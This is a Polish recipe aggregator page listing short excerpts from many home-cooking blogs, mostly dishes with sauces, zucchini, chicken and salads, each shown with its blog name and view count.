Bardzo dobry, domowy hamburger, robi wrażenie na najmłodszych domownikach ale dorośli też nie pogardzą:) Doskonale smakuje z sosem domowym do hamburgerów tutaj czytaj http://gotuj-ze-mna.pl/sosy/sos-do-hamburgerow/. A tymczasem zapraszam po szczegóły. Składniki 500 g mielonego mięsa ( sama mielę w domu) kilka plasterków parzonego boczku około 10-15 dkg 2 duże cebule 2-3 ząbki czosnku łyżeczka kminu rzymskiego … Czytaj

gotuj ze mną
Makaron z cukinią 378

Makaron z sosem z cukinii to świetny pomysł na szybki i smaczny obiad dla całej rodziny. Przepis jest bardzo prosty a danie kuszące, więc warto spróbować. A przy okazji poznasz fajny posiłek z użyciem cukinii.  Jeśli lubisz cukinię albo zwyczajnie szukasz więcej inspiracji na jej wykorzystanie, to zapraszam po przepis na pasztet z cukinii . A może jeszcze coś

AniaGotuje.pl
Kotlety z cukinii 421

kotlety z cukinii . To proste i super smaczne kotlety warzywne, które z powodzeniem zastąpią kotlety mięsne. Takie kotleciki do obiadu z ziemniakami i lekką sałatką smakują rewelacyjnie. A domowy sos czosnkowy sprawia, że można je jeść nawet bez żadnych dodatków

AniaGotuje.pl
Placuszki na maślance 203

smażymy z obu stron na małym ogniu. Placuszki można smaży na suchej patelni lub z odrobiną oleju. 3. Podawać wedle uznania - z cukrem pudrem, dżemem, miodem, świeżymi owocami, polane sosem czekoladowym - u nas akurat były jabłka prażone z galaretką KLIK ;-) Placuszki są smaczne zarówno na ciepło, jak i na zimno. Smacznego

Kuchnia domowa Ani
Tagliatelle z cukinią i kurczakiem 227

Makaron z cukinią i kurczakiem w sosie pomidorowym. Całość posypana mozzarellą i bazylią. Kurczaka oczyścić i pokroić w kostkę. Cebulę i cukinię również pokroić w kostkę średniej wielkości. Cebulę

Bullio
Koszyczki z panierowanego spaghetti z cukinią i mozzarellą 153

tygodniu makaron na obiad musi być, pod różną postacią oczywiście i z różnymi dodatkami. I nie tylko spaghetti, choć dziś, to akurat on rządził. Przygotowałam na obiad spaghetti w sosie cukiniowym, ale specjalnie wzięłam ugotowałam więcej, by zrobić nowy eksperyment. Gdyby się nie udał, zapewne bym Wam o nim nie wspominała i nie pokazywała zdjęć. Wyszło jednak bardzo fajnie

Kuchnia w czekoladzie
Co dziś na obiad? Filety z kurczaka w jogurcie 189

darmowego e-booka, do którego link znajdziesz poniżej, a jeśli chcesz koniecznie wykorzystać filety z kurczaka, zobacz mój przepis na pieczonego kurczaka z porami i filety z kurczaka w sosie pieczarkowym . Smacznego! :) Artykuł Co dziś na obiad? Filety z kurczaka w jogurcie pochodzi z serwisu Rozdomowiona

Rozdomowiona
Przecier pomidorowy. 186

wystudzenia. Następnie słoiki wstawić do garnka z wodą i pasteryzować 30 minut od zagotowania wody. Przecier gotowy :) Jest przy tym trochę pracy, ale naprawdę warto. Robię z tego przecieru sosy pomidorowe do gołąbków, do pulpetów, do spaghetti i oczywiście zupę pomidorową

Agusiowe smakołyki
ZAPIEKANKA ZIEMNIACZANO-SEROWA 171

Uwielbiam szybkie i łatwe w przygotowaniu zapiekanki , które nadają się na obiad dla całej rodzinki. Dziś zapraszam na pyszną zapiekankę z ziemniaków z sosem serowo-jogurtowym. Robie się ją szybko a smakuje..myślę każdemu:) Polecam :) Zapraszam do polubienia mojej strony na FB https://www.facebook.com/gotowaniepatki/ oraz śledzenia na Instagramie https://www.instagram.com/ gotowaniepatki/ ,oraz odwiedzenia mojego Bloga -- https:// gotowaniepatki.blogspot.com / będzie

Gotowanie Patki
Makaron z kurkami 153

dodaj czosnek, kurki i smaż je kilka minut. Następnie na patelnię wlej śmietankę, zagotuj. Dopraw do smaku solą i pieprzem. Makaron ugotuj według instrukcji na opakowaniu. Odcedź. Podawaj z sosem kurkowym, podprażonymi orzechami i szczypiorkiem. Całość posyp tartym parmezanem. Artykuł Makaron z kurkami pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Papryka faszerowana kaszą jaglaną i soczewicą 205

Gotować do miękkości około 15-20 minut. Posolić pod koniec gotowania. Cebulę i czosnek posiekać. Zeszklić. Dodać pomidory z puszki. Dusić kilka minut aż woda z pomidorów odparuje, a sos zgęstnieje. Doprawić do smaku paprykami w proszku, oregano oraz solą i pieprzem. Wymieszać z ugotowaną soczewicą i kaszą jaglaną. Papryki wydrążyć, przekroić na pół, napełnić farszem. Naczynie żaroodporne posmaruj olejem

Fabryka pomysłów
Pakora , chrupiąca indyjska przekąska cebulowa 174

niej i łatwiej operować palcami . Smażymy do momentu aż będą złociste i chrupiące . Odsączamy z nadmiaru tłuszczu na papierowym ręczniku i podajemy na gorąco . Pyszne , obojętne z jakim sosem je zaserwujecie Smacznego ! Artykuł Pakora , chrupiąca indyjska przekąska cebulowa pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Stek z sarny 152

smażyć na patelni żeliwnej. Smażyć po około 2 minuty z każdej strony. Usmażone mięso przełożyć na patelnię z masłem, aby odpoczęło. Przed podaniem posypać solą i pieprzem. Podałam z sosem ze śliwkami i marszczonymi ziemniakami . zastawa

królestwo garów
Udka kurczaka tikka masala 200

Aromatyczne udka kurczaka w sosie pomidorowo- jogurtowym przyprawione typowymi indyjskimi przyprawami. Pyszne, lekko ostre, idealne z dodatkiem ryżu, pity, chlebka naan lub po prostu z bagietką. Lekki obiad lub super kolacja. Jeśli szukasz urozmaicenia w kuchni, ten przepis jest dla Ciebie! Prosto, smacznie i zdrowo, zapraszam do przepisu! Skladniki: 4 udka z kurczaka zagrodowego 1 cebula 1 czerwona papryka

Gotuj zdrowo!Guten Appetit!
Gdzie na kawę i ciasto? Przegląd najlepszych kawiarni i cukierni w Lizbonie 169

najbardziej czaderskich i pomysłowych miejscówek, w jakich byłem oraz koszmar dietetyków zarazem. Położona w Barrio Alto pop-artowa kawiarnia serwuje płatki śniadaniowe z całego świata, zalewając je słodkimi sosami i kolorowymi posypkami i podając z gałką lodów i bitą śmietaną. Śmierć z przedawkowania cukru murowana. Robią tutaj też na maksa odjechane szejki. Uważam, że to miejsce można odwiedzić tylko

Food Square
Schab pieczony 160

Najprostszy sposób na upieczenie pysznego schabu. Wilgotny,miękki i bardzo smaczny. Pokrojony w grubsze  plastry na ciepło świetny do obiadu. Podany z sosem czosnkowym lub innym swoim ulubionym. Na zimno pokrojony w cienkie plastry idealny do kanapek i sałatek. Więcej przepisów na dania mięsne z różnych gatunków mięs znajdziecie na moim blogu. Jeżeli przygotowaliście danie z moich przepisów proszę

O kuchni z uczuciem
Sałatka z pieczonych ziemniaków z groszkiem i fasolką szparagową 184

gotujemy na twardo. Po przestudzeniu obieramy i kroimy na pół lub na ćwiartki. Rukolę myjemy, osuszamy. Do słoiczka wlewamy oliwę, ocet winny oraz musztardę. Potrząsamy dokładnie aż do uzyskania sosu o gładkiej, jednolitej konsystencji. Następnie dodajemy przeciśnięty przez praskę czosnek oraz drobno posiekane anchois, mieszamy. W misce umieszczamy upieczone ziemniaki, rukolę, groszek oraz fasolkę. Całość skrapiamy przygotowanym dressingiem, mieszamy. Wykładamy

Smaki Na Talerzu
Sałatka z gruszką i kozim serem 320

Sałatka z gruszką i kozim serem sprawdzi się świetnie na kolację albo śniadanie. Przypomnieliśmy sobie o tej sałatce przeglądając przepisy w internecie. Do jej przygotowania potrzeba

Kulinarnyblog.pl - wiesz jak gotować!
Tutti Colori – pizza prawdziwie włoska 207

pere – z mozzarellą, taleggio, serem kozim, gruszką, grillowaną papryką, szpinakiem i oliwą truflową. Osobiście nie jestem zwolennikiem pizzy bianca, bo uważam że prawdziwa pizza to właśnie taka z sosem pomidorowym, jednak po tym daniu zmieniam swój pogląd o 180 stopni :) Danie było perfekcyjne, delikatne w smaku z wyczuwalnym smakiem słonego koziego sera. Jednak ogromną swieżość nadawała gruszka i szpinak

Kulinarnyblog.pl - wiesz jak gotować!
Schab gotowany z warzywami 254

każdy dzień Schab należy do mięs suchych, ale przygotowanie go w taki sposób gwarantuje, że suchy wcale nie będzie. Mięso jest kruche i delikatne, a w połączeniu z pysznym sosem i warzywami smakuje genialnie. Gorąco polecam   Przepis na dwie porcje dania Schab gotowany z warzywami   SKŁADNIKI: 4 plastry schabu sól pieprz czarny mielony 2 łyżki oleju 1 cebula

WSZYSTKO SMACZNE
Omlet na słodko 183

ciągu dnia. Ile możliwości! Dziś omlet na śniadanie. Zjadamy samego, na słodko z syropem lub miodem, rozmaitymi dżemami czy z cukrem pudrem. Wytrawnie z wszelkimi warzywami, nawet marynowanymi, sosami czy mięsem. Sam ze szczypiorem i ketchupem też świetny. Pomysłów na omlety i dodatki jest masa, dlatego to wspaniały wybór na śniadanie. To i jest! Omlet, puszysty, sycący, maślany, wspaniały

Zasmakuj Kuchni
Klopsiki z kurczaka z mozzarellą 119

rumiano ze wszystkich stron ok. 3 minuty. Wyjąłem, osączyłem na papierowym ręczniku z nadmiaru tłuszczu. Ponownie przełożyłem je na patelnię z ostudzonym tłuszczem, podlałem ½ szklanki wody wymieszanej z łyżeczką sosu sojowego, przykryłem, dusiłem jeszcze 3 minuty. Podałem z kaszą bulgur i vermicelli, pomidorkami cherry oraz wstążkami cukinii

R'n'G Kitchen
Pasta z tuńczyka z kukurydzą 157

nieco innej odsłonie. Nie bójmy się eksperymentować z pastami do kanapek. Składniki na pastę z tuńczyka z kukurydzą (kilka porcji): Propozycja podania. duża puszka tuńczyka w sosie własnym dwa ogórki kiszone lub jeden duży 2 - 3 łyżki kukurydzy (lub więcej wedle uznania) jogurt naturalny (ilość w zależności od tego jak rzadką pastę chcemy uzyskać) szczypiorek sól pieprz Tuńczyka odcedzić

Karola gotuje
Zdrowe grillowanie 177

rodzaju białka dodawaj dużą porcję warzyw. * Pamiętaj o piciu wody - w szczególności, gdy grillowaniu towarzyszą upały. * Uważaj na gotowe marynaty - mogą zawierać duże ilości konserwantów i sztucznych  barwników. * Sosy do mięs czy ryb zrób samodzielnie na bazie jogurtu naturalnego. * Spróbuj ograniczyć alkohol i nie pij słodkich, gazowanych napojów. * Używaj ziół, aby zapewnić doskonały smak i aromat grillowanych potraw

MintTaste
Kopytka ze szpinakiem 197

wyjęciu z wody. Wystarczy polać je roztopionym masłem i udekorować ulubionymi ziołami. Kopytka ze szpinakiem bardzo dobrze smakują też w towarzystwie pomidorów, ale i do tradycyjnego obiadu z sosem

AniaGotuje.pl
Cukinia faszerowana mielonym mięsem i ryżem, zapiekana z pomidorami 146

częściowo pokrywką lub papierem do pieczenia. Wstawić do piekarnika nagrzanego do temperatury 180 stopni na około 40 minut. Podawać na gorąco lub na zimno z dowolnymi surówkami. W towarzystwie sosu pomidorowego pasują nawet ziemniaki, jak przy klasycznych gołąbkach. Jak wykorzystać środek wydrążony z cukinii? Zrób pyszną kremową zupę z cukinii z dodatkiem chrupiących grzanek 😊   Spróbuj także: Cukinii faszerowanej kaszą

Codzienna kuchnia niecodzienna
Pasztet pieczony z cukinii 258

pasztet z cukinii ,bo o nim mowa-Wyszedł genialny,pełen aromatów i smaku.Prosty do zrobienia ,tani ,super sprawdził się na śniadanie z odrobiną malinowego pomidorka ,lib na obiad z sosem czosnkowym-mniam,zdecydowanie do powtórzenia-polecam gorąco....i ten zapach który rozchodzi się po domu jak się piecze....zdecydowanie ciężko doczekać ,aż wystygnie ,żeby spróbować...... Składniki: Cukinia 3 szklanki

Swojskie jedzonko
Kurczak w sosie z kurek i parmezanu 186

Pierś kurczaka w sosie z kurek, śmietany i parmezanu. Całość posypana natką pietruszki. Kurki oczyścić i wysuszyć. Cebulę obrać i pokroić w drobną kostkę. Zeszklić na rozgrzanym na patelni oleju

Bullio
Przepis #167 Cukiniowa pizza z patelni 128

stron na złocisty kolor. Pod koniec układamy kawałki pomidora, pokrojonego ogórka oraz ser. Przykrywamy pokrywą i pozostawiamy dopóki ser się rozpuści.  Pizzę podajemy z keczupem lub domowym sosem czosnkowym. Smacznego

Health-Fit-Life
Pizzerki na spodzie z kaszy jaglanej i soczewicy 138

było pysznie! 3 pizzerki o średnicy około 15 cm ciasto: 100 g suchej kaszy jaglanej 50 g czerwonej soczewicy 2 łyżki mąki kukurydzianej łyżeczka oregano sól i pieprz sos: 6 łyżek passaty pomidorowej spora szczypta soli i pieprzu pół łyżeczki suszonego oregano łyżka posiekanej natki pietruszki dodatki: opakowanie mozzarelli light Galbani (125 g) mała cebula kilka pomidorków koktajlowych świeża figa

Mienta blog
Chow mein z kurczakiem i grzybami 249

Składniki: 1/2 opakowanie makaronu chow mein (120 g) 1 garść grzybów mun 1 puszka grzybów shiitake w zalewie 1 filet z kurczaka kawałek papryki kawałek pora 1/2 małej cukinii sos sojowy … Czytaj dalej Chow mein z kurczakiem i grzybami

czarrna od kuchni
Zapiekanka z indykiem i batatami 152

kroimy w cienkie plasterki, układamy jako kolejna warstwa w naczyniu. Następnie dzielimy brokuła na drobne różyczki, gotujemy al dente. Gdy będzie gotowy przekładamy na naszą zapiekankę.  Całość pokrywamy sosem zrobionym z jajek, jogurtu oraz sera mozzarella. Doprawiamy solą i pieprzem. Pieczemy w piekarniku ok. 1 h 30 min w temperaturze 170 stopni

Kuchnia moimi oczami
Pulpeciki drobiowe z kaszą jaglaną 195

wykorzystując pozostałe masło po smażeniu cebuli. Lekko zarumienione pulpeciki przełożyć do garnka,zalać wodą,dodać przyprawy i gotować pod przykryciem 10-15 minut. Mąkę rozpuścić w śmietance i zaciągnąć sos. Doprawić do smaku ew.solą i pieprzem. Podawać posypane koperkiem z ziemniakami i ulubioną surówką

Kolorowa kuchnia Elki
Gulasz ze stacji Bolshoi – Metro: Last Light – wieprzowina z boczniakami w śmietanie 221

masło i wrzucamy pokrojone grzyby. Smażymy je przez kilka min, często mieszając, do momentu aż się zarumienią. Pod koniec solimy je i przerzucamy do miski (będziemy dodawać je do sosu później). 2. PODSMAŻANIE CEBULI (5 min) Cebulę kroimy w piórka, rozgrzewamy tę samą patelnię, na której smażyliśmy boczniaki (nie myjemy jej), wlewamy łyżkę oleju i dodajemy cebulę. Podsmażamy ją przez

Nerds Kitchen
Kalafior z papryką i cukinią w pomidorach 159

Podsmażamy chwilę. Dodajemy następnie paski papryki. Zalewamy wodą. Gdy kalafior będzie półtwardy dodajemy pomidory oraz cukinię. Dusimy na małym ogniu, aż warzywa będą miękkie i powstanie gęsty sos, dodajemy ostrą paprykę i doprawiamy do smaku. Mieszamy. Podajemy na ciepło lub na zimno, posypane posiekaną natką z pietruszki. Danie można podać solo lub np. z kaszą, ryżem czy makaronem

Moja smaczna kuchnia
Poledwiczka z suszonymi pomidorami w kremowym sosie 141

Pyszny sposób na polędwiczkę, na domowy obiad w fajnej, niecodziennej odsłonie to polędwiczka w kremowym sosie z sera pleśniowego, a do tego suszone pomidory. Wszystko się idealnie komponuje. Palce lizać. Polecam. Źródło . Czytaj więcej

Bernika - moj kulinarny pamietnik
pizza z arbuza 219

myjemy. Kroimy w grubsze plastry, a następnie kroimy na trójkąty. Na każdy nakładamy po trochę ubitej śmietany z cukrem pudrem. Układamy dowolne owoce. Całość posypujemy startą czekoladą lub polewamy sosem czekoladowym, lub owocowym. Podajemy od razu

Domowy Smak Jedzenia
Pulpety z łopatki wieprzowej w papryce czerwonej 152

pieprzem. Mieszamy i formujemy pulpety. Pulpety wkładamy do gotującego się bulionu. Paprykę kroimy w krążki i umieszczamy w gotujących się pulpetach. Gotujemy kilkanaście minut, pod koniec gotowania w sosie rozprowadzamy 1 łyżkę almette. Tuż przez zakończeniem dodajemy posiekaną dymkę i gotowe. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Bułeczki z ciasta francuskiego ze słonym nadzieniem 133

Szybka przekąska, wspaniale smakują z sosem czosnkowym. Składniki: ciasto francuskie mozzarella tarta szynka drobiowa – cieniutkie plastry świeży pomidor listki bazylii (opcjonalnie) sezam roztrzepane jajko sól Z ciasta francuskiego kroję paski. W szynkę zawijam pomidor, bazylię. Na połowę paska układam mozzarellę, zawiniątko z szynki, posypuję mozzarellą. Zawijam pasek, sklejam. Widelcem przyciskam brzegi. Smaruję kwadraciki roztrzepanym jajkiem, odrobinę solę, posypuję sezamem

MojaQchnia.pl
Przepis na najlepszy chłodnik na lato – top 8 147

odrobinę do dekoracji) szklanka zimnej wody z lodówki korzeń imbiru (ok. 3 cm) – straty na tarce skórka otarta i sok wyciśnięty z całej limonki po 2 łyżki oliwy, sosu tabasco i sojowego świeżo zmielony pieprz czerwona papryka – oczyszczona i pokrojona w drobną kostkę ogórek szklarniowy- drobno pokrojony pęczek rzodkiewki startej na tarce małe opakowanie borówek – umytych szczypta

Ugotowane pozamiatane
Burger z mozzarellą i kotletem mięsnym smażonym w kabaczku 184

Burgery inspirowane kuchnią włoską ze smakami lata - dojrzałymi, pachnącymi słońcem pomidorami i sosem czosnkowym

Przepisy Kulinarne
Channa Masala, czyli curry z ciecierzycy... 194

powoduje, że smakuja bardziej słodko. Powinno to zajać kolejnych 5-10 minut. Uważaj, bo lubia się przypalić! Mieszaj często. Dodaj keczup i ciecierzycę i tyle wody, by powstały sos był tak gęsty, jak lubisz. Posól do smaku. Zagotuj, zmniejsz ogień i gotuj kolejnych 15-20 minut. Umyj i posiekaj kolendrę, dodaj do curry, dobrze wymieszaj i podawaj. Kalorie: 550/porcj

Lejdi of the house
Fasolka szparagowa z marchewką i cebulą 203

Obrodziła mi w tym roku fasolka szparagowa więc część zamknęłam w słoiczkach. Natknęłam się na nowy przepis więc musiałam go wypróbować. Fasolka połączona z marchewką i cebulą w czerownym sosie czyli taka pyszna jarzynka. Świetnie smakowała jak pakowałam ją do słoiczków więc zimą na pewno będzie pysznym dodatkiem do obiadu. składniki: 1 kg fasolki szparagowej żółtej 1 kg marchewki

Monia miesza i gotuje
Sałatka z fasolką szparagową i jajkami 186

Sałatka z zieloną fasolką szparagową i jajkami to nic wyszukanego, ale jest świetnym pomysłem na lekką i jednocześnie sytą letnią kolację. Kilka warzyw, jajka, sos i gotowe. Szybko i smacznie :) Składniki na 2 porcje: 4 garście zielonej fasolki szparagowej 4 ogórki konserwowe 2 dojrzałe pomidory 4 jajka ugotowane na twardo 0,5 niedużej cebuli 1 kopiasta łyżeczka musztardy 1 płaska

Simply Food
Ziemniaki w gajerku z farszem 162

poezja , nie ma nic lepszego , a na pewno trudno o ciekawsze odsłony ziemniaka. Moja rodzinka zakochała się od pierwszego kęsa . Doskonale smakują na gorąco , jeszcze lepiej na zimno z sosem czosnkowym . Można je serwować jako przekąskę do piwa lub przystawkę do obiadu . Co tu wiele pisać są genialne i nie trudne do zrobienia . Polecam , ubierzcie pyry w gajerek i włóżcie

Ogrodnik w podróży
Carska uczta z łopatki , pomysł na obiad 4801

twór . Bardzo proste i jednocześnie wypasione danie , które dobrze wygląda i tak samo dobrze smakuje . Spora ilość warzyw , troszkę boczku i kawałki łopatki , a wszystko zapieczone razem w pysznym sosie z dodatkiem przypraw , jak na carskiej uczcie . Lubię takie jednogarnkowce , są proste i nie wymagają angażowania uwagi . Po prostu wsuwa się je do piekarnika i wyciąga po godzince , czy dwóch

Ogrodnik w podróży
szybkowar-schab do pieczywa... 222

szklanki wody, zamknąć, po zasyczeniu pary gotować na średnim ogniu z 50 minut, szybkowar otworzyć jak spuści ciśnienie schab dobrze wystudzić (wywar można zamrozić i wykorzystać do bigosu, sosu) - schab z szybkowara jest bardzo smaczną do pieczywa wędliną, jest bardzo kruchy, aromatyczny i smakuje wybornie.........Smacznego

W Mojej Kuchni Lubię
Zapiekanka ziemniaczana z cukinią, boczkiem i białym serem 198

Drukuj Prep time 20 min Cook time 50 min Total time 1 godzina 10 min   Zapiekanka ziemniaczana z cukinią, pomidorami, białym serem i boczkiem - lekka, bez dodatku sosu, z tego co latem najlepsze Author: Cooking for Emily Serves: 6 Ingredients ok 800 g ziemniaków 2 nieduże cukinie 2 ząbki czosnku 200 g wędzonego boczku 100 g białego sera

Cooking for Emily
ZUPA BROKUŁOWA 196

ziarenka ziela angielskiego 2 ząbki czosnku 3 ziemniak 2 litry wody 2 udka z kurczaka lub korpus 100g gęstej śmietanki 12 lub 18% 3 łyżki mąki pszennej pieprz, sól, sos sojowy do smaku Prażona cebukla: 1 duża cebula 1/2 łyżeczki soli mąka oliwa z oliwek do smażenia Masło roztopić na patelni, dodać pokrojoną w kostkę cebulę oraz czosnek. Podsmażyć

Słodki Zakątek
Pasta z pieczonej papryki 176

jabłko i marchewkę. Odpowiedno pikantnego kopa nadaje całości dodatek ostrej pasty harrisa.  Pasta jest świetna zarówno jako dodatek do kanapek, placków, naleśników czy warzyw. Sprawdzi się także jako sos do makaronu. PASTA Z PIECZONEJ PAPRYKI 8-10 czerwonych papryk Marchewka Pół słodkiego jabłka 4-5 suszonych pomidorów Pół czerwonej cebuli Ząbek czosnku Pół łyżeczki harrisy (można zastąpić chili) Łyżeczka

HealthyCreations
Restauracja Tinel w Zadarze (Chorwacja) 155

dania były ciekawe. Nie ma tutaj szaleństwa kulinarnego, ale nie zaliczyli też żadnej wtopy, więc generalnie wychodzi na plus. Danie moje i mojego męża. Mięso było mięciutkie, a sos aksamitny. Ziemniaki trochę mnie zaskoczyły, bo były takie jak odpiekane kolejnego dnia. Duże wrażenie zrobiło na mnie zastosowanie cukinii. Mam ochotę wprowadzić ją w taki sposób do mojego domu. Wydaje

Karola gotuje
Pieczone fit frytki z kurczaka 268

codziennie. Lubię przygotowywać lekkie obiady, które ze smakiem zjada moja córka, a przy okazji ja korzystam. Frytki z kurczaka smakują rewelacyjnie i doskonale sprawdzą się jako przekąska z ulubionym sosem lub dietetyczny obiad podany z warzywami oraz np. ryżem. Polecam! (1-2 porcje) 1 pojedyncza pierś z kurczaka Dodatkowo: 3 łyżki oleju przyprawa do kurczaka lub dowolne ulubione Pierś

Di gotuje
Szaszłyk z indyka w marynacie z curry 201

naprzemiennie mięso i pomidorki koktajlowe tak przygotowane szaszłyki piecz w 220 stopniach przez kwadrans podawaj z ulubionymi dodatkami, ja proponuję ryż, sałatkę z rukoli i sera fety oraz domowy sos czosnkowy Smacznego

Oka w rosole czyli KaFka gotuje
Sałatka z ananasem, gruszką, szynką szwarcwaldzką, fetą i granatem - idealne połączenie smaków 172

jednocześnie kwaskowaty smak owoców z intensywnym smakiem mięsa lub wędlin. Z takich składników można stworzyć w prosty i szybki sposób pyszną sałatkę, która nie będzie wymagała już dodatku żadnych sosów. I właśnie tak powstała moja dzisiejsza sałatka: słodycz gruszki i ananasa cudownie komponuje się ze zdecydowanymi smakami sera feta i szynki szwarcwaldzkiej. Pestki granatu są przysłowiową kropką nad i 😊 Składniki

Codzienna kuchnia niecodzienna
Kurczak po cygańsku 661

rozgrzewamy niewielką ilość oleju, wrzucamy cebulę. Gdy się zeszkli dodajemy śliwki oraz przygotowaną wcześniej mieszankę. Całość doprowadzamy do wrzenia. Obsmażone udka kurczaka układamy w naczyniu żaroodpornym. Zalewamy je gorącym sosem. Zapiekamy pod przykryciem w piekarniku nagrzanym do 180 stopni przez około godzinę

Smaki Na Talerzu
Mielone z kaszą gryczaną 167

tłuszcz. Dzięki papierowi kotlety będę się lepiej smażyły, nie będą przywierały do dna. Na rozgrzany tłuszcz kłaść kotlety, smazyć na niewielkim ogniu, z obu stron na rumiano. Podałam z sosem z suszonych grzybów. zastawa

królestwo garów
Dynia hokkaido z mięsem 282

Składniki: 1 dynia hokkaido 1/2 kg mięsa mielonego z kurczaka 1/2 cebuli 2 łyżki sosu sojowego 1 łyżeczka curry kawałek imbiru sól z trawą cytrynową (młynek) 1 pomidor szczypiorek Przygotowanie: … Czytaj dalej Dynia hokkaido z mięsem

czarrna od kuchni
Pizza z hummusem, karmelizowaną cebulką i chutney z pomidorków (Pizza con hummus, cipolle caramellate e chutney di pomodorini) 178

Zapraszam Was na "eksplozję smaku, zapachów i kolorów", tak dzisiejszy przepis określił mój małżonek ;):)   Dzisiejsza pizza jest inna niż wszystkie, bez sosu pomidorowego i mozzarelli.  Bazą pizzy jest puszyste ciasto drożdżowe z oregano a dodatkami do niej aromatyczny hummus z musztard ą  i kurkum ą, karmelizowana cebulka i słodko-kwaśny chutney z pomidorków.  Składniki

La grande e la piccola cuoca
KASZA BULGUR Z KURCZAKIEM W SOSIE POMIDOROWYM 191

oraz czosnek. Dodajemy pokrojone ( oczyszczone wcześniej ) mięso i przesmażamy kilka minut. Dorzucamy drobno pokrojone świeże pomidory oraz suszone pomidory pokrojone w paseczki. Zalewamy passatą i gotujemy do momentu, aż sos zrobi się gęsty i zredukowany. Po ok. 15 minutach doprawiamy do smaku sola, pieprzem, szczyptą cukru oraz ostrą papryką. Wrzucamy urogowaną kaszę bulgur, mieszamy, podajemy na gorąco! Feta lub ulubiony

Ostra na Słodko
Bruschetta – szybka i smaczna przekąska 306

Bardzo często poszukujemy przepisu na szybkie w przygotowaniu przekąski. Nasze zmartwienie może rozwiązać bruschetta, której przygotowanie jest niezwykle szybkie i nie wymaga od nas niezliczonej liczby

Kulinarnyblog.pl - wiesz jak gotować!
Placuszki z serka typu Danio 177

składniki mieszamy dokładnie. Na patelni rozgrzewamy olej i nakładamy po łyżce surowego ciasta Smażymy na złoto z obu stron  Podajemy z ulubionymi dodatkami  np. cukrem pudrem, miodem, sosem owocowym  u mnie sezonowo z karmelem i jagodami :) Smacznego

Od kuchni czyli o wszystkim po trochę
Papryka w sosie pomidorowym 156

pomidorowy i ponownie zagotować. 3. Po tym czasie dodać papryki z cebulą i doprowadzić do wrzenia, gotować około 15-20 minut. 4. Do każdego umytego słoika wlać paprykę w sosie, słoiki zakręcić i pasteryzować około 10-15 minut

Szalona Kuchnia Eweliny
Duszona wołowina z imbirem 180

mięso wodą niewiele ponad jego poziom dodaj imbir duś na niewielkim ogniu ok 90 minut pod koniec gotowania dodaj rozrobioną w połowie szklanki zimnej wody łyżkę mąki, żeby zagęścić sos podawaj z ulubionymi dodatkami Inne moje przepisy na wołowinę znajdziesz tutaj Smacznego

Oka w rosole czyli KaFka gotuje
Sałatka z pomidorów z parmezanem 257

dobre, kupując na wpół zielone pomidory do kanapek lub sałatek. Wiem, bo byłam i widziałam. I kupowałam również. Z tym że kupowalam te czerwone, które są przeznaczone na sos, sok lub gazpacho, a pani w warzywniaku pod domem po kilku dniach już wiedziała, że robimy z nich sałatki. Nasz dialog moją łamaną hiszpanszczyzną wyglądał mniej więcej tak: - dos kilo tomates

Obiad gotowy
Surówka z czerwonej kapusty, cukinii i papryki 209

wodą na durszlaku. Potem odciskamy kapustę i cukinię i wrzucamy do większej miski. W małej miseczce mieszamy olej, kumin, czosnek, sok z cytryny i dokładnie mieszamy. Polewamy tak przygotowanym sosem warzywa i dokładnie mieszamy. I gotowe Można również podawać tą sałatkę z orzeszkami piniowymi lub słonecznikiem. Smacznego! Artykuł Surówka z czerwonej kapusty, cukinii i papryki pochodzi z serwisu lamarida.pl

Lamarida.pl
Szaszłyki z grilla 229

lepiej nim owinąć szaszłyka gdyż przy próbie nawleczenia go po prostu się rozpada). Grillować na mniejszym płomieniu (aby zbyt szybko się nie skarmelizował miód z marynaty). Podawać z dowolnymi sosami i pieczywem

My simple kitchen
Curry z boczniakami 169

skórki i kroimy na cząstki lub w plasterki. Dodajemy do boczniaków, cebuli i przypraw. Dusimy na małym ogniu pod przykryciem tak, aby pomidory w większości rozgotowały się i utworzyły sos. Odparowujemy nadmiar wody. Ryż gotujemy zgodnie z instrukcją na opakowaniu. Cukinię oraz papryki kroimy w cieniutkie paski, a następnie podsmażamy na oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu

Kate's Kitchen
Kuchnia polska dawniej i dziś 194

szczaw. Od czasów Królowej Bony jedzono także dużo warzyw, które podawano przede wszystkim gotowane: w wodzie lub na rosole. Poddawano je również pieczeniu i smażeniu oraz stanowiły one element sosów. Warzywa łączono głównie z mięsem i kaszą, a także z nabiałem i grzybami. Jedzono dużo kasz, które zastępowały ziemniaki. W powszechnej opinii, tradycyjna kuchnia polska uznawana była za kuchnię ciężką

365 dni dookoła kuchni
Spaghetti z cukinii - fit obiad 217

łyżki startego parmezenu PRZYGOTOWANIE Cukinię myjemy i kroimy w paski/julienne. Cebulę kroimy w kosteczkę i przesmażamy na oliwie. Dodajemy krojone pomidory, przeciśnięty przez praskę czosnek i przyprawy. Chwilę redukujemy sos i gdy zgęstnieje dodajemy cukinię. Całość mieszamy razem i podgrzewamy przez 2 minuty. Przekładamy na talerze i posypujemy parmezanem. Smacznego :)  Zapraszam na  fanpage na Facebooku  oraz

Moje Kuchenne Rewelacje
DOMOWE BUŁKI DO BURGERÓW 195

burgery. Ostatnio do domowych burgerów upiekłam własnoręcznie małe bułeczki. Miękkie, puszyste, wyszły idealnie. Moje mini-burgery przełożyłam plastrami mielonych kotletów (zostały od obiadu), pomidorem, ogórkiem, czerwoną cebulą oraz sosem majonezowo-czosnkowym. Wyszło pysznie! 😉 Składniki: (na 10 małych bułeczek) 500 g mąki pszennej  2 płaskie łyżeczki cukru 150 ml ciepłego mleka 150 ml letniej wody 7g suchych drożdży

Walijskie Pichcenie
Krążki cebulowe 175

bardzo tanie, bo jak wiadomo cebula nie jest najdroższym na świecie warzywem. Jeśli sięgamy tylko po krążki np. jeśli podajemy je jako przystawkę, to możemy je podać z sosem z kwaśnej śmietany i świeżo krojonej cebuli, smakują pysznie. Podawane jako dodatek do innym dań sprawdzają sie fajnie serwowane ze smażonym mięsem wołowym czy grillowanym kurczakiem. Jeśli zdecydujecie się na wypróbowanie

mecooks
Poniedziałek: Sałatka z arbuza z chmurkami z koziego sera 170

